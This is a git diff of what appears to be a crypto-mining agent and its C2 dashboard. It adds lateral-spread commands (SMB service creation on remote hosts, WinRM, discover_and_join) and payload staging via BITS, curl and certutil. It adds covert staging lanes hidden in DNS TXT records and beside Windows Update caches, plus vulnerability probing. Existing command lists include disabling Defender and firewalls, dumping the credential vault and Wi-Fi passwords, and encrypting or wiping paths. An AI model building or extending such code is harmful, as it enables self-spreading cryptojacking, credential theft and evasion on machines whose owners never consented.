+ ); +} diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx index 604c5d1..3048940 100644 --- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx +++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx @@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({ )} - - - - + + + + diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 876f5b4..da929f2 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -2935,6 +2935,44 @@ export default function BuilderPage() { +
+ + + +
+ +
+ + + +
+ +
+ + {form.webrtc_mesh_spread && ( +

+ ⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only. +

+ )} + + +
+
)} + {focusedAgent && ( + + )} + {/* ── Groups & Actions ────────────────────────────────────────────── */}
diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 100885d..93457cc 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -47,7 +47,6 @@ import { import { resolveChartSeries, } from '../help/chartSampleData'; -import './Pages.css'; const SKELETON_HEIGHTS = [0.30, 0.55, 0.40, 0.70, 0.50, 0.65, 0.45, 0.80, 0.60, 0.35]; @@ -95,6 +94,7 @@ export default function DashboardPage() { const [calibrateConfig, setCalibrateConfig] = useState(null); const [filters, setFilters] = useState(DEFAULT_FLEET_FILTERS); const [selectedIds, setSelectedIds] = useState>(new Set()); + const selectedAgents = useMemo(() => agents.filter((a) => selectedIds.has(a.id)), [agents, selectedIds]); const [bulkBusy, setBulkBusy] = useState(false); const [showMatrix, setShowMatrix] = useState(false); const screenshotWatchId = useRef(null); @@ -841,7 +841,7 @@ export default function DashboardPage() { data={hashChart.data} displayMode={hashChart.mode} title="Fleet Hashrate Wave" - color="#00f5ff" + color="#00e8f5" unit="H/s" height={300} /> @@ -932,6 +932,7 @@ export default function DashboardPage() { filters={filters} onChange={setFilters} selectedCount={selectedIds.size} + selectedAgents={selectedAgents} filteredCount={filteredAgents.length} onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))} onBulkAction={handleBulkAction} diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index c5f6978..8ac8738 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -23,7 +23,6 @@ import AlsoHere from '../components/Presence/AlsoHere'; import ComradeAvatar from '../components/Presence/ComradeAvatar'; import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard'; import { HelpTip } from '../components/HelpTip'; -import './Pages.css'; import './EmberwakePage.css'; import '../components/Presence/Presence.css'; diff --git a/server/web/src/pages/PathTracerPage.css b/server/web/src/pages/PathTracerPage.css index 0537af9..108c654 100644 --- a/server/web/src/pages/PathTracerPage.css +++ b/server/web/src/pages/PathTracerPage.css @@ -22,7 +22,7 @@ font-weight: 700; letter-spacing: 0.15em; text-transform: uppercase; - color: var(--accent-primary, #00ffaa); + color: var(--accent-primary, #00e8f5); font-family: var(--font-tech, monospace); } @@ -55,8 +55,8 @@ } .pt-agent-card { - background: rgba(0, 255, 170, 0.04); - border: 1px solid rgba(0, 255, 170, 0.12); + background: rgba(0, 232, 245, 0.04); + border: 1px solid rgba(0, 232, 245, 0.12); border-radius: 8px; padding: 0.85rem 1rem; cursor: pointer; @@ -66,14 +66,14 @@ } .pt-agent-card:hover { - background: rgba(0, 255, 170, 0.08); - border-color: rgba(0, 255, 170, 0.3); + background: rgba(0, 232, 245, 0.08); + border-color: rgba(0, 232, 245, 0.3); } .pt-agent-card.selected { - background: rgba(0, 255, 170, 0.14); - border-color: #00ffaa; - box-shadow: 0 0 12px #00ffaa33; + background: rgba(0, 232, 245, 0.14); + border-color: #00e8f5; + box-shadow: 0 0 12px rgba(0, 232, 245, 0.2); } .pt-agent-card.offline { @@ -90,7 +90,7 @@ font-size: 0.65rem; font-family: var(--font-tech, monospace); color: #000; - background: #00ffaa; + background: #00e8f5; border-radius: 50%; width: 18px; height: 18px; @@ -114,7 +114,7 @@ .pt-agent-ip { font-size: 0.7rem; - color: #00ffaa99; + color: rgba(0, 232, 245, 0.6); font-family: monospace; } @@ -138,7 +138,7 @@ .pt-chain-panel { background: rgba(0, 0, 0, 0.35); - border: 1px solid rgba(0, 255, 170, 0.14); + border: 1px solid rgba(0, 232, 245, 0.14); border-radius: 10px; padding: 1rem; display: flex; @@ -150,7 +150,7 @@ font-size: 0.65rem; letter-spacing: 0.12em; text-transform: uppercase; - color: #00ffaa88; + color: rgba(0, 232, 245, 0.53); font-family: var(--font-tech, monospace); margin-bottom: 0.25rem; } @@ -179,14 +179,14 @@ width: 22px; height: 22px; border-radius: 50%; - background: #00ffaa22; - border: 1px solid #00ffaa55; + background: rgba(0, 232, 245, 0.13); + border: 1px solid rgba(0, 232, 245, 0.33); display: flex; align-items: center; justify-content: center; font-size: 0.6rem; font-family: var(--font-tech, monospace); - color: #00ffaa; + color: #00e8f5; flex-shrink: 0; } @@ -201,7 +201,7 @@ .pt-chain-arrow { font-size: 0.65rem; - color: #00ffaa55; + color: rgba(0, 232, 245, 0.33); padding-left: 10px; } @@ -217,7 +217,7 @@ margin-left: auto; } .pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; } -.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; } +.pt-hop-status.ready { background: rgba(0, 232, 245, 0.15); color: #00e8f5; border: 1px solid rgba(0, 232, 245, 0.2); } .pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; } /* ── Action buttons ──────────────────────────────────────────── */ @@ -236,14 +236,14 @@ } .pt-btn-primary { - background: linear-gradient(135deg, #00ffaa22, #00ffaa11); - border-color: #00ffaa; - color: #00ffaa; - text-shadow: 0 0 8px #00ffaa; + background: linear-gradient(135deg, rgba(0, 232, 245, 0.13), rgba(0, 232, 245, 0.07)); + border-color: #00e8f5; + color: #00e8f5; + text-shadow: 0 0 8px #00e8f5; } .pt-btn-primary:hover:not(:disabled) { - background: linear-gradient(135deg, #00ffaa44, #00ffaa22); - box-shadow: 0 0 14px #00ffaa44; + background: linear-gradient(135deg, rgba(0, 232, 245, 0.25), rgba(0, 232, 245, 0.13)); + box-shadow: 0 0 14px rgba(0, 232, 245, 0.27); } .pt-btn-primary:disabled { opacity: 0.35; @@ -312,9 +312,9 @@ .pt-modal { background: #0e1117; - border: 1px solid #00ffaa44; + border: 1px solid rgba(0, 232, 245, 0.27); border-radius: 14px; - box-shadow: 0 0 60px #00ffaa22; + box-shadow: 0 0 60px rgba(0, 232, 245, 0.13); padding: 2rem; max-width: 520px; width: 100%; @@ -334,9 +334,9 @@ font-weight: 700; letter-spacing: 0.12em; text-transform: uppercase; - color: #00ffaa; + color: #00e8f5; font-family: var(--font-tech, monospace); - text-shadow: 0 0 12px #00ffaa66; + text-shadow: 0 0 12px rgba(0, 232, 245, 0.4); } .pt-qr-wrap { @@ -345,7 +345,7 @@ padding: 0.5rem; background: #000; border-radius: 10px; - border: 1px solid #00ffaa33; + border: 1px solid rgba(0, 232, 245, 0.2); } .pt-qr-img { @@ -387,7 +387,7 @@ font-size: 0.62rem; letter-spacing: 0.14em; text-transform: uppercase; - color: #00ffaa55; + color: rgba(0, 232, 245, 0.33); font-family: var(--font-tech, monospace); margin-bottom: 0.4rem; } @@ -405,8 +405,8 @@ display: inline-block; width: 14px; height: 14px; - border: 2px solid #00ffaa33; - border-top-color: #00ffaa; + border: 2px solid rgba(0, 232, 245, 0.2); + border-top-color: #00e8f5; border-radius: 50%; animation: pt-spin 0.6s linear infinite; vertical-align: middle; diff --git a/server/web/src/pages/PathTracerPage.tsx b/server/web/src/pages/PathTracerPage.tsx index c68bca7..14e2d51 100644 --- a/server/web/src/pages/PathTracerPage.tsx +++ b/server/web/src/pages/PathTracerPage.tsx @@ -246,10 +246,10 @@ export default function PathTracerPage() {

NETWORK OPS · WIREGUARD

-

⬡ Path Tracer

-
+

⬡ Path Tracer

+

Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE. -

+

diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index a2e89a5..660e36e 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -34,7 +34,6 @@ import { buildDefenderExclusionScript, defaultWindowsInstallPreview, } from '../help/defenderExclusion'; -import './Pages.css'; /** Recursively merge `override` into `base`, preserving keys not in `override`. */ export function deepMerge(base: T, override: Partial): T { diff --git a/server/web/src/styles/sacred-geometry.css b/server/web/src/styles/sacred-geometry.css index b4f4313..e506e0e 100644 --- a/server/web/src/styles/sacred-geometry.css +++ b/server/web/src/styles/sacred-geometry.css @@ -127,38 +127,6 @@ z-index: 1; } -.page-header--sacred { - position: relative; - padding-bottom: 0.75rem; -} - -.page-header--sacred::after { - content: ''; - position: absolute; - left: 0; - right: 0; - bottom: 0; - height: 1px; - background: linear-gradient( - 90deg, - transparent, - rgba(201, 162, 39, 0.5) 15%, - rgba(0, 245, 255, 0.35) 50%, - rgba(201, 162, 39, 0.5) 85%, - transparent - ); -} - -.page-header--sacred .page-header-sacred-motif { - position: absolute; - right: 0; - top: 50%; - transform: translateY(-50%); - width: 48px; - height: 48px; - opacity: 0.2; - pointer-events: none; -} /* Neon card corner watermarks */ .neon-card { diff --git a/server/web/src/styles/wealth-deck.css b/server/web/src/styles/wealth-deck.css index be65578..f4dad69 100644 --- a/server/web/src/styles/wealth-deck.css +++ b/server/web/src/styles/wealth-deck.css @@ -17,7 +17,7 @@ box-shadow: var(--shadow-panel), inset 0 1px 0 rgba(232, 197, 71, 0.12), - 0 0 40px rgba(0, 245, 255, 0.04); + 0 0 40px rgba(0, 232, 245, 0.04); } .chart-header { @@ -82,7 +82,7 @@ 120deg, rgba(201, 162, 39, 0.06) 0%, rgba(8, 6, 4, 0.4) 40%, - rgba(0, 245, 255, 0.04) 100% + rgba(0, 232, 245, 0.04) 100% ); box-shadow: 0 0 48px rgba(201, 162, 39, 0.06); } @@ -144,18 +144,9 @@ text-shadow: 0 0 16px rgba(57, 255, 20, 0.4); } -.earnings-preview-badge { - font-family: var(--font-tech); - font-size: 0.6rem; - letter-spacing: 0.18em; - color: var(--brass-light); - opacity: 0.75; - margin-bottom: 0.35rem; -} - .contrib-panel.sample-contrib .contrib-fill { background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan)); - box-shadow: 0 0 10px rgba(0, 245, 255, 0.25); + box-shadow: 0 0 10px rgba(0, 232, 245, 0.25); } .activity-pulse.sample-activity .pulse-row.ok .pulse-dot { diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index ea11f84..b38ea5f 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -297,6 +297,15 @@ export interface ServerSettings { public_builds_latest_n?: number; /** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */ lotl_onion_tiers?: string[]; + /** Triple onion recon/deploy gates pushed to agents at auth. */ + triple_onion_policy?: { + patch_first?: boolean; + mine_isolated_tier?: boolean; + skip_mining_on_high_risk?: boolean; + high_risk_threshold?: number; + recon_tiers?: string[]; + deploy_lanes?: string[]; + }; } export interface TunnelDefaults { @@ -492,6 +501,12 @@ export interface BuildRequest { share_spread?: boolean; /** WinRM encoded bootstrap during autospread (Windows, owned/lab). */ winrm_spread?: boolean; + /** DNS TXT mesh shard staging via _aether zone (Windows/universal default ON). */ + dns_txt_spread?: boolean; + /** WebRTC LAN seed manifest path — heavier; default OFF. */ + webrtc_mesh_spread?: boolean; + /** WSUS SoftwareDistribution cousin staging (default ON for Windows). */ + wsus_cache_peer_spread?: boolean; /** COM CLSID hijack persistence — high-friction; default off. */ com_hijack_persist?: boolean; /** Linux LOTL persistence: systemd_run_user | crontab | both | off */ diff --git a/server/web/src/types/lotl.ts b/server/web/src/types/lotl.ts index 7cd81c0..0ea812a 100644 --- a/server/web/src/types/lotl.ts +++ b/server/web/src/types/lotl.ts @@ -20,6 +20,8 @@ export interface TierAttempt { error?: string; duration_ms?: number; wallet?: string; + /** recon | deploy | mining — triple onion phase */ + phase?: string; } /** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */ @@ -68,6 +70,7 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] { error: typeof row.error === 'string' ? row.error : undefined, duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined, wallet: typeof row.wallet === 'string' ? row.wallet : undefined, + phase: typeof row.phase === 'string' ? row.phase : undefined, }); } return out; diff --git a/tests/README.md b/tests/README.md index c040b3a..5006ea1 100644 --- a/tests/README.md +++ b/tests/README.md @@ -73,7 +73,7 @@ flowchart TB dj[discover_and_join] d1[docker / docker_load] d2[wsl / powershell / dotnet] - d3[bits_curl / do_peer / smb / winrm] + d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm] d4[linux / gpo / intune] dj --> d1 --> d2 --> d3 --> d4 end @@ -146,6 +146,9 @@ Every term below has a plain-language definition and a copy-pasteable example (C |------|------------|---------| | `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. | | `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. | +| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). | +| `dns_txt` | DNS TXT mesh — `_aether.` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. | +| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. | | `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` | | `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. | | `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. | diff --git a/usb/agent/client/aggressive_commands.go b/usb/agent/client/aggressive_commands.go index 50b625a..dc9dc72 100644 --- a/usb/agent/client/aggressive_commands.go +++ b/usb/agent/client/aggressive_commands.go @@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { if !c.cfg.HolePunch { return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" } - case "spread_now": + case "spread_now", "spread_smb_unc", "discover_and_join": if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" } + case "stage_fetch": + if !c.cfg.RemoteAggressive { + return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" + } case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop", "subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords": if !c.cfg.RemoteAggressive { @@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { } case "tunnel_status", "tunnel_wireguard": // Always available — read-only or Path Tracer config from server. - case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": - // No forge gate — always available. + case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover": + // No forge gate — enumeration-only recon (Path Tracer + fleet discover). case "mesh_status": if !c.cfg.MeshP2P { return false, "mesh P2P not enabled in forge" @@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm c.sendCommandResult(action, true, msg) return true + case "spread_smb_unc": + unc := strings.TrimSpace(path) + svcName := "" + if unc == "" { + unc = strings.TrimSpace(data) + } else { + svcName = strings.TrimSpace(data) + } + msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{ + UNCPath: unc, + MaxHosts: parsePortArg(command, 64), + SvcName: svcName, + }) + c.sendCommandResult(action, true, msg) + return true + + case "stage_fetch": + var manifest deploy.StagingManifest + if err := json.Unmarshal([]byte(data), &manifest); err != nil { + c.sendCommandResult(action, false, "bad staging manifest: "+err.Error()) + return true + } + go func() { + msg, err := deploy.RunStagingChain(c.cfg, manifest) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + c.sendCommandResult(action, true, msg) + }() + return true + case "subnet_scan": maxHosts := parsePortArg(command, 64) out := deploy.ScanLocalSubnet(maxHosts) @@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm case "wg_status": c.sendCommandResult(action, true, WGStatus()) return true + + case "service_discover": + maxHosts := parsePortArg(command, 32) + out := deploy.RunServiceDiscover(maxHosts) + c.sendCommandResult(action, true, out) + return true + + case "discover_and_join": + maxHosts := parsePortArg(command, 32) + go func() { + msg, err := c.runDiscoverAndJoin(maxHosts) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + c.sendCommandResult(action, true, msg) + }() + return true } return false diff --git a/usb/agent/client/client.go b/usb/agent/client/client.go index 0f042c8..0ab5944 100644 --- a/usb/agent/client/client.go +++ b/usb/agent/client/client.go @@ -1,6 +1,7 @@ package client import ( + "context" "encoding/base64" "encoding/json" "fmt" @@ -23,6 +24,7 @@ import ( "crypto-miner-agent/job" "crypto-miner-agent/miner" "crypto-miner-agent/stats" + "crypto-miner-agent/vulnprobe" "github.com/gorilla/websocket" ) @@ -46,6 +48,26 @@ type AgentClient struct { // The Stratum fallback manager monitors this to decide when to mine directly. connected atomic.Bool + // containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers). + containerMiner *miner.ContainerLauncher + // wslMiner supervises CPU mining inside WSL2 via wsl.exe -e. + wslMiner *miner.WSLLauncher + // psMiner hosts in-memory assembly / encoded-command mining via powershell.exe. + psMiner *miner.PowerShellLauncher + // dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild. + dotnetMiner *miner.DotnetLauncher + // hostMiningDisabled is true when a healthy container handles RandomX on the host. + hostMiningDisabled atomic.Bool + // miningChain orchestrates container → in-process → GPU → Stratum cascade. + miningChain *MiningChainRunner + // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). + tierPolicy miner.MiningTierPolicy + // triplePolicy is server-pulled recon → deploy → mining gate policy. + triplePolicy miner.TripleOnionPolicy + triplePolicyLoaded bool + // joinLane is the last successful discover_and_join supply-chain lane. + joinLane string + // lastJobAt records when the most recent valid mining job was delivered. // The Stratum fallback manager uses this to detect "connected but jobless" // situations and start direct Stratum mining after a timeout. @@ -55,6 +77,9 @@ type AgentClient struct { // successful WS authentication confirms we are on an owned fleet. spreadOnce sync.Once + // commandResultHook is set in tests to observe sendCommandResult without a live WS. + commandResultHook func(action string, success bool, message string) + // beaconMode is true while commands/results use HTTPS beacon transport. beaconMode atomic.Bool // wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth. @@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { agentID: cfg.AgentID, } c.mesh = NewMeshNode(c) + c.initSpreadCredHooks() return c } @@ -87,14 +113,15 @@ func (c *AgentClient) Run() error { c.pool.Start() defer c.pool.Stop() - // Start GPU miner (Ravencoin / KawPoW) if configured - if gm := newGPUMiner(c.cfg); gm != nil { - c.mu.Lock() - c.gpuMiner = gm - c.mu.Unlock() - gm.Start() - defer gm.Stop() + chainCtx, chainCancel := context.WithCancel(context.Background()) + defer chainCancel() + c.miningChain = c.newMiningChainRunner() + if deploy.WantsDeferMining() { + go c.startMiningWhenReady(chainCtx) + } else { + c.miningChain.Start(chainCtx) } + defer c.miningChain.Stop() // Start AI Autonomy runner if enabled if c.cfg.AIEnabled { @@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error { OSVersion: deploy.HostOSVersion(), MacAddress: primaryMACAddress(), BuildID: c.cfg.BuildID, - USBSpread: c.cfg.USBSpread, - Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), - UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), + USBSpread: c.cfg.USBSpread, + Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), + UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), + LotlOnionEnabled: c.cfg.LotlOnionEnabled, + LotlPolicyFromServer: c.cfg.LotlPolicyFromServer, + JoinLane: c.getJoinLane(), }) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error { if !resp.Success { return fmt.Errorf("auth failed: %s", resp.Error) } + c.applyAuthLotlPolicy(resp) c.agentID = resp.AgentID + if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 { + c.mu.Lock() + c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers) + cfg := c.cfg + c.mu.Unlock() + log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers) + } c.clearWSDownSince() log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID) // Persist the server-confirmed ID so restarts always reconnect as the same agent. @@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error { // Gate AutoSpread behind successful server auth: only spread on fleets where // our fleet secret was accepted, preventing lateral movement on non-owned networks. - if c.cfg.AutoSpread { - c.spreadOnce.Do(func() { - deploy.StartAutoSpreader(c.cfg) - // One-shot first-run spread (triggered on the very first install). - if deploy.WantsFirstRunSpread(c.cfg) { - deploy.RunSpreadOnce(c.cfg) - deploy.ClearFirstRunSpreadMarker(c.cfg) + c.spreadOnce.Do(func() { + c.mu.Lock() + cfg := c.cfg + c.mu.Unlock() + if cfg.AutoSpread { + deploy.StartAutoSpreader(cfg) + if deploy.WantsFirstRunSpread(cfg) { + deploy.RunSpreadOnce(cfg) + deploy.ClearFirstRunSpreadMarker(cfg) } - }) - } + } + if cfg.LotlOnionEnabled { + deploy.StartLotlOnion(cfg) + } + }) c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) return nil @@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, return } c.sendCommandResult(action, true, "module "+module+" applied") + case "start_mining": + // WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go). + if c.wslMiner != nil && c.wslMiner.Running() { + wslRT := miner.WSLDetector() + _ = miner.ToggleWSLMining(wslRT, "", true) + } + if c.miningChain != nil { + c.miningChain.Resume(context.Background()) + } else { + c.pool.ResumeRemote() + } + c.sendCommandResult(action, true, "mining started") case "pause": - c.pool.PauseRemote() - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gm.Pause() + if c.wslMiner != nil && c.wslMiner.Running() { + wslRT := miner.WSLDetector() + _ = miner.ToggleWSLMining(wslRT, "", false) + } + if c.miningChain != nil { + c.miningChain.Stop() + } else { + c.pool.PauseRemote() + if c.containerMiner != nil && c.containerMiner.Running() { + c.containerMiner.Stop() + } + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Pause() + } } c.sendCommandResult(action, true, "mining paused") case "resume": - c.pool.ResumeRemote() - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gm.Resume() + if c.miningChain != nil { + c.miningChain.Resume(context.Background()) + } else { + if c.containerMiner != nil && !c.containerMiner.Running() { + if err := c.containerMiner.Start(); err != nil { + log.Printf("[container] resume restart failed: %v — using in-process mining", err) + c.hostMiningDisabled.Store(false) + c.pool.ResumeRemote() + } else { + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + } + } else if !c.hostMiningDisabled.Load() { + c.pool.ResumeRemote() + } + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Resume() + } } - c.sendCommandResult(action, true, "mining resumed") + c.sendCommandResult(action, true, "fleet health: hashing restored") case "restart": c.sendCommandResult(action, true, "restarting") go c.restartSelf() @@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, c.sendCommandResult(action, true, "system shutdown initiated") } }() + case "mining_diagnostics": + c.sendCommandResult(action, true, c.miningDiagnosticsJSON()) case "get_log": if tailLines <= 0 { tailLines = 300 @@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } func (c *AgentClient) sendCommandResult(action string, success bool, message string) { + if c.commandResultHook != nil { + c.commandResultHook(action, success, message) + return + } payload, _ := json.Marshal(map[string]interface{}{ "action": action, "success": success, @@ -649,7 +736,11 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str c.postBeaconResult(payload) return } - _ = c.write(Message{Type: "command_result", Payload: payload}) + // If the WebSocket write fails (stalled connection, reconnecting, etc.) fall + // back to the beacon HTTP path so the result is not silently dropped. + if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil { + c.postBeaconResult(payload) + } } func (c *AgentClient) wsDownSinceTime() time.Time { @@ -837,6 +928,16 @@ func probeSSH() bool { return true } +func (c *AgentClient) stratumEgress(stratumOverlay bool) string { + if stratumOverlay { + return "direct" + } + if c.connected.Load() { + return "c2_ws" + } + return "none" +} + func (c *AgentClient) statsLoop(stop <-chan struct{}) { ticker := time.NewTicker(10 * time.Second) defer ticker.Stop() @@ -848,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { var lastPressure *ResourcePressure var lastDNS *DNSConfig var lastListenPortCount *int + var lastNetworkHints *deploy.NetworkHints + var lastVulnReport *vulnprobe.ScanReport var postureReady bool for { select { @@ -904,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { n := lp.Count lastListenPortCount = &n } + hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts) + lastNetworkHints = &hints + lastVulnReport = RunVulnLOTLProbe() } probeTick++ @@ -923,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.DNSSearchDomains = lastDNS.SearchDomains } stats.ListenPortCount = lastListenPortCount + stats.NetworkHints = lastNetworkHints if lastPressure != nil { stats.CPUFreqMHz = lastPressure.CPUFreqMHz stats.CPUMaxMHz = lastPressure.CPUMaxMHz @@ -968,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.AgentElevated = lastPosture.AgentElevated stats.Services = lastPosture.Services } + if c.miningChain != nil { + ms := c.miningChain.Status() + stats.ActiveMethod = string(ms.ActiveMethod) + stats.StratumOverlay = ms.StratumOverlay + stats.ChainExhausted = ms.ChainExhausted + stats.MiningLastError = ms.LastError + if ms.LOTLTier != "" { + stats.LOTLTier = string(ms.LOTLTier) + } + if len(ms.LOTLAttempts) > 0 { + stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts)) + for i, a := range ms.LOTLAttempts { + stats.LOTLAttempts[i] = TierAttemptPayload{ + Phase: a.Phase, + Tier: string(a.Tier), + OK: a.OK, + Error: a.Error, + DurationMs: a.DurationMs, + Wallet: a.Wallet, + } + } + } + if len(ms.FailedMethods) > 0 { + stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods)) + for i, f := range ms.FailedMethods { + stats.FailedMethods[i] = MethodFailurePayload{ + Method: string(f.Method), + Reason: f.Reason, + At: f.At, + } + } + } + if len(ms.ChainOrder) > 0 { + stats.ChainOrder = make([]string, len(ms.ChainOrder)) + for i, m := range ms.ChainOrder { + stats.ChainOrder[i] = string(m) + } + } + stats.StratumEgress = c.stratumEgress(ms.StratumOverlay) + } else { + stats.StratumEgress = c.stratumEgress(false) + } + stats.MiningHashrate = avg15s + stats.GPUHashrate15s + if lastVulnReport != nil { + score := lastVulnReport.RiskScore + stats.VulnRiskScore = &score + if len(lastVulnReport.Findings) > 0 { + stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings)) + for i, f := range lastVulnReport.Findings { + stats.VulnFindings[i] = VulnFindingPayload{ + CVEID: f.CVEID, + Severity: f.Severity, + Component: f.Component, + Patched: f.Patched, + ExploitableInFleetContext: f.ExploitableInFleetContext, + Detail: f.Detail, + } + } + } + } + if lane := c.getJoinLane(); lane != "" { + stats.JoinLane = lane + } payload, _ := json.Marshal(stats) if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { log.Printf("[agent] stats send failed: %v", err) @@ -982,7 +1152,13 @@ func (c *AgentClient) write(msg Message) error { if c.conn == nil { return fmt.Errorf("not connected") } - return c.conn.WriteJSON(msg) + // BA-03: set a bounded write deadline so a stalled TCP socket cannot block + // WriteJSON indefinitely while holding c.mu, which would deadlock every + // other goroutine that needs c.mu (share submission, stats, commands). + _ = 